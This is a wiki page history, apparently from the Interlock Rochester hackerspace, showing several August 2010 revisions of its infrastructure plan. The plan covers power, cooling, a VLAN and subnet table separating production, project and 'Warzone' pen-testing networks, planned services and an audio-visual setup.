| || || '''10.10.0.0/22''' || '''Production''' || '''Supernet slice for all production networks''' (not actually routed)
|-
| OPT100 || 100 || 10.10.0.0/24 || Core || Core Equipment (routers, switches, etc)
|-
| OPT101 || 101 || 10.10.1.0/24 || Servers || Servers (LDAP, DHCP, DNS, etc - assuming not provided by router)
|-
| OPT102 || 102 || 10.10.2.0/25 || Wired Hosts || Shared workstations
|-
| OPT103 || 103 || 10.10.3.0/24 || Wireless Hosts || Registered Member laptops
|-
| OPT104 || 104 || 10.10.4.0/24 || Wireless Guests || Event Participants, Class registrants, etc - May be partitioned into a separate network, see below
|-
| OpenVPN || 105 || 10.10.5.0/24 || Production VPN clients || Network administration (core network)
|-
| OPT200 || 200 || '''10.200.0.0/16''' || '''Project''' || '''Network specific for individual projects. Should be sliced further to /24 and /26 networks as needed'''
|-
| OPT1000 || 1000 || '''192.168.1.0/24''' || '''Warzone''' || '''A place where invasive network attacks ''will'' occur. May also have VPN links to other hackerspaces (both in the US and abroad).''' Currently routed through it's own router, which is the 192.168.1.x network. If we eventually run through the pfSense box the IP scheme will be in the 10.100.42.x range
|}

Last updated: --[[User:Ben Woodruff|-- BW]] 15:35, 14 August 2010 (UTC)

== Internet ==

We have decided on Frontier Business DSL for our internet connection. The contract has been signed and services are in place.

==Production==
The production network will be the main segment and will provide network access to Interlock's members. This network will be subdivided into 5 separate subnets, to help manage IP growth, and secure vital systems. The production network will not be used to perform penetration testing or other white hat hacking (port scans, IP sweeps, DoS, etc). The production network must have reliable uptime, as that other members will be dependent on it.

=== Change Control ===
The infrastructure group will need to determine a method to log changes to the network. A consensus must be reached within the group before any change can be done on the production network. Change management will ''loosely'' follow [http://en.wikipedia.org/wiki/Change_Management_%28ITSM%29 ITIL Recommendations].

== Planning ==
(not necessarily implemented)

=== Access ===
Access to core network equipment and topology will be restricted to those in the infrastructure group.

=== Services ===
* RADIUS/LDAP Server
** Central Authentication repository
** Should be linked with Google Apps

* Web Server
** Host the wiki, website, etc

* CoLo Boxes
** Not intended to host production/high bandwidth websites
** Used for offsite backup

* DHCP Server
** IP addresses will only be given out to know and trusted network adapters.
** A device registration system, like RIT's start.rit.edu, would be useful

* DNS Server

* File Server
** Access via SFTP, SMB, or WebDAV possibly

* VPN Server
** Provide VPN access to the network. This needs to be decided as to whether this will be implemented, and the scope of the build.

* Streaming Music Server
** Use a AirPort Extreme AP to play music via AirTunes

* Image Server
** RIS or Ghost

==Project==
** Each project should claim an address space (ie 172.25.15.y) so we can tell what traffic is coming from which projects
* Temporary, dynamic, but more static and stable than the warzone
* Change management much more loose than production network but there should be some expectation of reliability so please at least check with someone unless you're very sure of what you're doing
* Access to the internet
* Area to play with an test new technologies (for example, play with VOIP/SIP)

==[[Warzone]]==
* No expectation of reliability
* Relatively open access to equipment / no change management
* No expectation of structure, very dynamic depending on project use etc, may use different IP address schemes
* Expect to have equipment probed / pen tested
* ChaosVPN endpoint/node (link to other hackerspaces)
* "Rogue" access points allowed (maybe include DHCP message that states you'd better be sure you want to connect to this network - want to be friendly with our neighbors)

=Audio-Visual System=

'''Audio'''
*[http://www.bhphotovideo.com/c/product/541197-REG/Bogen_Communications_S810T725PG8W_Ceiling_Speaker_Assembly_with.html Public Address] system array across the ceiling
*Two speakers rigged to the top corners of the room
*Surround sound rigged to the top of the room (low priority)
*Inputs to an audio mixer/home receiver
*Sources: Microphone, CD/DVD, computers

'''Video'''
*Ceiling mounted projection
*Screen
*Sources: DVD, computers

Infrastructure

2010-08-14T15:39:17Z

Ben Woodruff:

=Interlock Rochester Infrastructure=

{| class="wikitable" border="1"
|-
! Sub-group !! Lead !! Members
|-
| Power ||
|-
| Environment ||
|-
| [[Hackerspace_Security_System|Security]] || [[User:Antitree|Mark Manning]]
|-
| Inter-hackerspace Communication || [[User:Antitree|Mark Manning]] || [[User:Ben Woodruff|Ben Woodruff]]
|-
| [[Network Infrastructure Group|Network]] || [[User:Ben Woodruff|Ben Woodruff]] || [[User:fvox13|Steve Smith]], [[User:IGadget|Rowan Hawkins]]
|-
|}

Please feel free to claim ownership of any empty spots above, or add yourself to the members list.
We need a decision on power needs sooner rather than later.

''' NOTE''': This page contains information with regard to network/server setup for the final space, not the temporary one. For the temp space, power distribution can be done with extension cords, while network access will be ad-hoc in nature.

=Power=
Overhead cord reels are a solution, but they must not remain plugged in at their source when not in use in order to comply with fire code. Cable trays are not a good solution for power. (They are a pain in the ass.)

=Environmental=
The space will need to have environmental controls in the event that servers will be kept in location. The general operating temperature of servers and network equipment should be around 75F. In order to ensure this, the purchase of an AC system may be necessary depending on what projects we approve.

'''Things we may need to acquire:'''
*<s>Heater</s> <-- Heat is included
*Air Conditioner
*Dehumidifier
*<s>Thermostat/Thermometer</s> <-- Usually bundled with AC

==Recycling==
We don't want to horde a bunch of stuff that will never get used, but things that are likely to get recycled (especially scraps of raw materials) we should hold on to. This not only potentially benefits the environment, it's in our best interest from a costs perspective as well.

=Network=

See [[Phase 0 Networking]]

[[image:Interlock_logical.jpg|thumb|See [[file:interlock_logical.vsd]]]]

The network infrastructure group will create and maintain the [[network acceptable use policy]]. The policy will be approved by the board of directors and then signed by every member who wants access to any of the following networks.

In order to meet the demands of the group over time, the network will be segregated into 3 main segments:
(in order of priority for setup)
* Production [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Production >]
* Project [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Project_.2F_Project >]
* Warzone [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Warzone >]

Each main segment will have an associated color code for its jacks (as is seen above), both on the walls, as well as near the network equipment. Category 6 cabling would be preferred for the environment. Each wall plate should be 6 feet apart, and should contain at least 1 of each colored jacks. Every jack should have 2 drops associated with it.

== Subnets ==
{| class="wikitable" border="1"
|-
! if !! VLAN !! Network/Mask !! Name !! Description
|-
| || || '''10.10.0.0/22''' || '''Production''' || '''Supernet slice for all production networks''' (not actually routed)
|-
| OPT100 || 100 || 10.10.0.0/24 || Core || Core Equipment (routers, switches, etc)
|-
| OPT101 || 101 || 10.10.1.0/24 || Servers || Servers (LDAP, DHCP, DNS, etc - assuming not provided by router)
|-
| OPT102 || 102 || 10.10.2.0/25 || Wired Hosts || Shared workstations
|-
| OPT103 || 103 || 10.10.3.0/24 || Wireless Hosts || Registered Member laptops
|-
| OPT104 || 104 || 10.10.4.0/24 || Wireless Guests || Event Participants, Class registrants, etc - May be partitioned into a separate network, see below
|-
| OpenVPN || 105 || 10.10.5.0/24 || Production VPN clients || Network administration (core network)
|-
| OPT200 || 200 || '''10.200.0.0/16''' || '''Project''' || '''Network specific for individual projects. Should be sliced further to /24 and /26 networks as needed'''
|-
| OPT1000 || 1000 || '''192.168.1.0/24''' || '''Warzone''' || '''A place where invasive network attacks ''will'' occur. May also have VPN links to other hackerspaces (both in the US and abroad).''' Currently routed through it's own router, which is the 192.168.1.x network. If we eventually run through the pfSense box the IP scheme will be in the 10.100.42.x range
|}

Last updated: --[[User:Ben Woodruff|-- BW]] 15:35, 14 August 2010 (UTC)

== Internet ==

We have decided on Frontier Business DSL for our internet connection. The contract has been signed and services are in place.

==Production==
The production network will be the main segment and will provide network access to Interlock's members. This network will be subdivided into 5 separate subnets, to help manage IP growth, and secure vital systems. The production network will not be used to perform penetration testing or other white hat hacking (port scans, IP sweeps, DoS, etc). The production network must have reliable uptime, as that other members will be dependent on it.

=== Change Control ===
The infrastructure group will need to determine a method to log changes to the network. A consensus must be reached within the group before any change can be done on the production network. Change management will ''loosely'' follow [http://en.wikipedia.org/wiki/Change_Management_%28ITSM%29 ITIL Recommendations].

== Planning ==
(not necessarily implemented)

=== Access ===
Access to core network equipment and topology will be restricted to those in the infrastructure group.

=== Services ===
* RADIUS/LDAP Server
** Central Authentication repository
** Should be linked with Google Apps

* Web Server
** Host the wiki, website, etc

* CoLo Boxes
** Not intended to host production/high bandwidth websites
** Used for offsite backup

* DHCP Server
** IP addresses will only be given out to know and trusted network adapters.
** A device registration system, like RIT's start.rit.edu, would be useful

* DNS Server

* File Server
** Access via SFTP, SMB, or WebDAV possibly

* VPN Server
** Provide VPN access to the network. This needs to be decided as to whether this will be implemented, and the scope of the build.

* Streaming Music Server
** Use a AirPort Extreme AP to play music via AirTunes

* Image Server
** RIS or Ghost

==Project==
** Each project should claim an address space (ie 172.25.15.y) so we can tell what traffic is coming from which projects
* Temporary, dynamic, but more static and stable than the warzone
* Change management much more loose than production network but there should be some expectation of reliability so please at least check with someone unless you're very sure of what you're doing
* Access to the internet
* Area to play with an test new technologies (for example, play with VOIP/SIP)

==[[Warzone]]==
* No expectation of reliability
* Relatively open access to equipment / no change management
* No expectation of structure, very dynamic depending on project use etc, may use different IP address schemes
* Expect to have equipment probed / pen tested
* ChaosVPN endpoint/node (link to other hackerspaces)
* "Rogue" access points allowed (maybe include DHCP message that states you'd better be sure you want to connect to this network - want to be friendly with our neighbors)

=Audio-Visual System=

'''Audio'''
*[http://www.bhphotovideo.com/c/product/541197-REG/Bogen_Communications_S810T725PG8W_Ceiling_Speaker_Assembly_with.html Public Address] system array across the ceiling
*Two speakers rigged to the top corners of the room
*Surround sound rigged to the top of the room (low priority)
*Inputs to an audio mixer/home receiver
*Sources: Microphone, CD/DVD, computers

'''Video'''
*Ceiling mounted projection
*Screen
*Sources: DVD, computers

Infrastructure

2010-08-14T15:36:17Z

Ben Woodruff: /* Internet */

=Interlock Rochester Infrastructure=

{| class="wikitable" border="1"
|-
! Sub-group !! Lead !! Members
|-
| Power ||
|-
| Environment ||
|-
| [[Hackerspace_Security_System|Security]] || [[User:Antitree|Mark Manning]]
|-
| Inter-hackerspace Communication || [[User:Antitree|Mark Manning]] || [[User:Ben Woodruff|Ben Woodruff]]
|-
| [[Network Infrastructure Group|Network]] || [[User:Ben Woodruff|Ben Woodruff]] || [[User:fvox13|Steve Smith]], [[User:IGadget|Rowan Hawkins]]
|-
|}

Please feel free to claim ownership of any empty spots above, or add yourself to the members list.
We need a decision on power needs sooner rather than later.

''' NOTE''': This page contains information with regard to network/server setup for the final space, not the temporary one. For the temp space, power distribution can be done with extension cords, while network access will be ad-hoc in nature.

=Power=
Overhead cord reels are a solution, but they must not remain plugged in at their source when not in use in order to comply with fire code. Cable trays are not a good solution for power. (They are a pain in the ass.)

=Environmental=
The space will need to have environmental controls in the event that servers will be kept in location. The general operating temperature of servers and network equipment should be around 75F. In order to ensure this, the purchase of an AC system may be necessary depending on what projects we approve.

'''Things we may need to acquire:'''
*<s>Heater</s> <-- Heat is included
*Air Conditioner
*Dehumidifier
*<s>Thermostat/Thermometer</s> <-- Usually bundled with AC

==Recycling==
We don't want to horde a bunch of stuff that will never get used, but things that are likely to get recycled (especially scraps of raw materials) we should hold on to. This not only potentially benefits the environment, it's in our best interest from a costs perspective as well.

=Network=

See [[Phase 0 Networking]]

[[image:Interlock_logical.jpg|thumb|See [[file:interlock_logical.vsd]]]]

UPDATES:
* 1/27/10: Despite some difficulties with Frontier that will have to be worked out, the internet and phone lines were installed today. The router is ready to be dropped into place, as soon as we move the rack in. We did get the rack, and it is being stored for us until we are able to move it into #42.

The network infrastructure group will create and maintain the [[network acceptable use policy]]. The policy will be approved by the board of directors and then signed by every member who wants access to any of the following networks.

In order to meet the demands of the group over time, the network will be segregated into 3 main segments:
(in order of priority for setup)
* Production [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Production >]
* Project [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Project_.2F_Project >]
* Warzone [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Warzone >]

Each main segment will have an associated color code for its jacks (as is seen above), both on the walls, as well as near the network equipment. Category 6 cabling would be preferred for the environment. Each wall plate should be 6 feet apart, and should contain at least 1 of each colored jacks. Every jack should had 2 drops associated with it.

== Subnets ==
{| class="wikitable" border="1"
|-
! if !! VLAN !! Network/Mask !! Name !! Description
|-
| || || '''10.10.0.0/22''' || '''Production''' || '''Supernet slice for all production networks''' (not actually routed)
|-
| OPT100 || 100 || 10.10.0.0/24 || Core || Core Equipment (routers, switches, etc)
|-
| OPT101 || 101 || 10.10.1.0/24 || Servers || Servers (LDAP, DHCP, DNS, etc - assuming not provided by router)
|-
| OPT102 || 102 || 10.10.2.0/25 || Wired Hosts || Shared workstations
|-
| OPT103 || 103 || 10.10.3.0/24 || Wireless Hosts || Registered Member laptops
|-
| OPT104 || 104 || 10.10.4.0/24 || Wireless Guests || Event Participants, Class registrants, etc - May be partitioned into a separate network, see below
|-
| OpenVPN || 105 || 10.10.5.0/24 || Production VPN clients || Network administration (core network)
|-
| OPT200 || 200 || '''10.200.0.0/16''' || '''Project''' || '''Network specific for individual projects. Should be sliced further to /24 and /26 networks as needed'''
|-
| OPT1000 || 1000 || '''192.168.1.0/24''' || '''Warzone''' || '''A place where invasive network attacks ''will'' occur. May also have VPN links to other hackerspaces (both in the US and abroad).''' Currently routed through it's own router, which is the 192.168.1.x network. If we eventually run through the pfSense box the IP scheme will be in the 10.100.42.x range
|}

Last updated: --[[User:Ben Woodruff|-- BW]] 15:35, 14 August 2010 (UTC)

== Internet ==

We have decided on Frontier Business DSL for our internet connection. The contract has been signed and services are in place.

==Production==
The production network will be the main segment and will provide network access to Interlock's members. This network will be subdivided into 5 separate subnets, to help manage IP growth, and secure vital systems. The production network will not be used to perform penetration testing or other white hat hacking (port scans, IP sweeps, DoS, etc). The production network must have reliable uptime, as that other members will be dependent on it.

=== Change Control ===
The infrastructure group will need to determine a method to log changes to the network. A consensus must be reached within the group before any change can be done on the production network. Change management will ''loosely'' follow [http://en.wikipedia.org/wiki/Change_Management_%28ITSM%29 ITIL Recommendations].

=== Access ===
Access to core network equipment and topology will be restricted to those in the infrastructure group.

=== Services ===
* RADIUS/LDAP Server
** Central Authentication repository
** Should be linked with Google Apps

* Web Server
** Host the wiki, website, etc

* CoLo Boxes
** Not intended to host production/high bandwidth websites
** Used for offsite backup

* DHCP Server
** IP addresses will only be given out to know and trusted network adapters.
** A device registration system, like RIT's start.rit.edu, would be useful

* DNS Server

* File Server
** Access via SFTP, SMB, or WebDAV possibly

* VPN Server
** Provide VPN access to the network. This needs to be decided as to whether this will be implemented, and the scope of the build.

* Streaming Music Server
** Use a AirPort Extreme AP to play music via AirTunes

* Image Server
** RIS or Ghost

==Project==
* 172.25.x.y
** Each project should claim an address space (ie 172.25.15.y) so we can tell what traffic is coming from which projects
* Temporary, dynamic, but more static and stable than the warzone
* Change management much more loose than production network but there should be some expectation of reliability so please at least check with someone unless you're very sure of what you're doing
* Access to the internet
* Area to play with an test new technologies (for example, play with VOIP/SIP)

==[[Warzone]]==
* 172.30.x.y
* No expectation of reliability
* Relatively open access to equipment / no change management
* No expectation of structure, very dynamic depending on project use etc, may use different IP address schemes
* Expect to have equipment probed / pen tested
* ChaosVPN endpoint/node (link to other hackerspaces)
* "Rogue" access points allowed (maybe include DHCP message that states you'd better be sure you want to connect to this network - want to be friendly with our neighbors)

=Audio-Visual System=

'''Audio'''
*[http://www.bhphotovideo.com/c/product/541197-REG/Bogen_Communications_S810T725PG8W_Ceiling_Speaker_Assembly_with.html Public Address] system array across the ceiling
*Two speakers rigged to the top corners of the room
*Surround sound rigged to the top of the room (low priority)
*Inputs to an audio mixer/home receiver
*Sources: Microphone, CD/DVD, computers

'''Video'''
*Ceiling mounted projection
*Screen
*Sources: DVD, computers

Infrastructure

2010-08-14T15:35:51Z

Ben Woodruff: /* Subnets */

=Interlock Rochester Infrastructure=

{| class="wikitable" border="1"
|-
! Sub-group !! Lead !! Members
|-
| Power ||
|-
| Environment ||
|-
| [[Hackerspace_Security_System|Security]] || [[User:Antitree|Mark Manning]]
|-
| Inter-hackerspace Communication || [[User:Antitree|Mark Manning]] || [[User:Ben Woodruff|Ben Woodruff]]
|-
| [[Network Infrastructure Group|Network]] || [[User:Ben Woodruff|Ben Woodruff]] || [[User:fvox13|Steve Smith]], [[User:IGadget|Rowan Hawkins]]
|-
|}

Please feel free to claim ownership of any empty spots above, or add yourself to the members list.
We need a decision on power needs sooner rather than later.

''' NOTE''': This page contains information with regard to network/server setup for the final space, not the temporary one. For the temp space, power distribution can be done with extension cords, while network access will be ad-hoc in nature.

=Power=
Overhead cord reels are a solution, but they must not remain plugged in at their source when not in use in order to comply with fire code. Cable trays are not a good solution for power. (They are a pain in the ass.)

=Environmental=
The space will need to have environmental controls in the event that servers will be kept in location. The general operating temperature of servers and network equipment should be around 75F. In order to ensure this, the purchase of an AC system may be necessary depending on what projects we approve.

'''Things we may need to acquire:'''
*<s>Heater</s> <-- Heat is included
*Air Conditioner
*Dehumidifier
*<s>Thermostat/Thermometer</s> <-- Usually bundled with AC

==Recycling==
We don't want to horde a bunch of stuff that will never get used, but things that are likely to get recycled (especially scraps of raw materials) we should hold on to. This not only potentially benefits the environment, it's in our best interest from a costs perspective as well.

=Network=

See [[Phase 0 Networking]]

[[image:Interlock_logical.jpg|thumb|See [[file:interlock_logical.vsd]]]]

UPDATES:
* 1/27/10: Despite some difficulties with Frontier that will have to be worked out, the internet and phone lines were installed today. The router is ready to be dropped into place, as soon as we move the rack in. We did get the rack, and it is being stored for us until we are able to move it into #42.

The network infrastructure group will create and maintain the [[network acceptable use policy]]. The policy will be approved by the board of directors and then signed by every member who wants access to any of the following networks.

In order to meet the demands of the group over time, the network will be segregated into 3 main segments:
(in order of priority for setup)
* Production [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Production >]
* Project [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Project_.2F_Project >]
* Warzone [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Warzone >]

Each main segment will have an associated color code for its jacks (as is seen above), both on the walls, as well as near the network equipment. Category 6 cabling would be preferred for the environment. Each wall plate should be 6 feet apart, and should contain at least 1 of each colored jacks. Every jack should had 2 drops associated with it.

== Subnets ==
{| class="wikitable" border="1"
|-
! if !! VLAN !! Network/Mask !! Name !! Description
|-
| || || '''10.10.0.0/22''' || '''Production''' || '''Supernet slice for all production networks''' (not actually routed)
|-
| OPT100 || 100 || 10.10.0.0/24 || Core || Core Equipment (routers, switches, etc)
|-
| OPT101 || 101 || 10.10.1.0/24 || Servers || Servers (LDAP, DHCP, DNS, etc - assuming not provided by router)
|-
| OPT102 || 102 || 10.10.2.0/25 || Wired Hosts || Shared workstations
|-
| OPT103 || 103 || 10.10.3.0/24 || Wireless Hosts || Registered Member laptops
|-
| OPT104 || 104 || 10.10.4.0/24 || Wireless Guests || Event Participants, Class registrants, etc - May be partitioned into a separate network, see below
|-
| OpenVPN || 105 || 10.10.5.0/24 || Production VPN clients || Network administration (core network)
|-
| OPT200 || 200 || '''10.200.0.0/16''' || '''Project''' || '''Network specific for individual projects. Should be sliced further to /24 and /26 networks as needed'''
|-
| OPT1000 || 1000 || '''192.168.1.0/24''' || '''Warzone''' || '''A place where invasive network attacks ''will'' occur. May also have VPN links to other hackerspaces (both in the US and abroad).''' Currently routed through it's own router, which is the 192.168.1.x network. If we eventually run through the pfSense box the IP scheme will be in the 10.100.42.x range
|}

Last updated: --[[User:Ben Woodruff|-- BW]] 15:35, 14 August 2010 (UTC)

== Internet ==

We have decided on Frontier Business DSL for our internet connection. The contract has been signed.

==Production==
The production network will be the main segment and will provide network access to Interlock's members. This network will be subdivided into 5 separate subnets, to help manage IP growth, and secure vital systems. The production network will not be used to perform penetration testing or other white hat hacking (port scans, IP sweeps, DoS, etc). The production network must have reliable uptime, as that other members will be dependent on it.

=== Change Control ===
The infrastructure group will need to determine a method to log changes to the network. A consensus must be reached within the group before any change can be done on the production network. Change management will ''loosely'' follow [http://en.wikipedia.org/wiki/Change_Management_%28ITSM%29 ITIL Recommendations].

=== Access ===
Access to core network equipment and topology will be restricted to those in the infrastructure group.

=== Services ===
* RADIUS/LDAP Server
** Central Authentication repository
** Should be linked with Google Apps

* Web Server
** Host the wiki, website, etc

* CoLo Boxes
** Not intended to host production/high bandwidth websites
** Used for offsite backup

* DHCP Server
** IP addresses will only be given out to know and trusted network adapters.
** A device registration system, like RIT's start.rit.edu, would be useful

* DNS Server

* File Server
** Access via SFTP, SMB, or WebDAV possibly

* VPN Server
** Provide VPN access to the network. This needs to be decided as to whether this will be implemented, and the scope of the build.

* Streaming Music Server
** Use a AirPort Extreme AP to play music via AirTunes

* Image Server
** RIS or Ghost

==Project==
* 172.25.x.y
** Each project should claim an address space (ie 172.25.15.y) so we can tell what traffic is coming from which projects
* Temporary, dynamic, but more static and stable than the warzone
* Change management much more loose than production network but there should be some expectation of reliability so please at least check with someone unless you're very sure of what you're doing
* Access to the internet
* Area to play with an test new technologies (for example, play with VOIP/SIP)

==[[Warzone]]==
* 172.30.x.y
* No expectation of reliability
* Relatively open access to equipment / no change management
* No expectation of structure, very dynamic depending on project use etc, may use different IP address schemes
* Expect to have equipment probed / pen tested
* ChaosVPN endpoint/node (link to other hackerspaces)
* "Rogue" access points allowed (maybe include DHCP message that states you'd better be sure you want to connect to this network - want to be friendly with our neighbors)

=Audio-Visual System=

'''Audio'''
*[http://www.bhphotovideo.com/c/product/541197-REG/Bogen_Communications_S810T725PG8W_Ceiling_Speaker_Assembly_with.html Public Address] system array across the ceiling
*Two speakers rigged to the top corners of the room
*Surround sound rigged to the top of the room (low priority)
*Inputs to an audio mixer/home receiver
*Sources: Microphone, CD/DVD, computers

'''Video'''
*Ceiling mounted projection
*Screen
*Sources: DVD, computers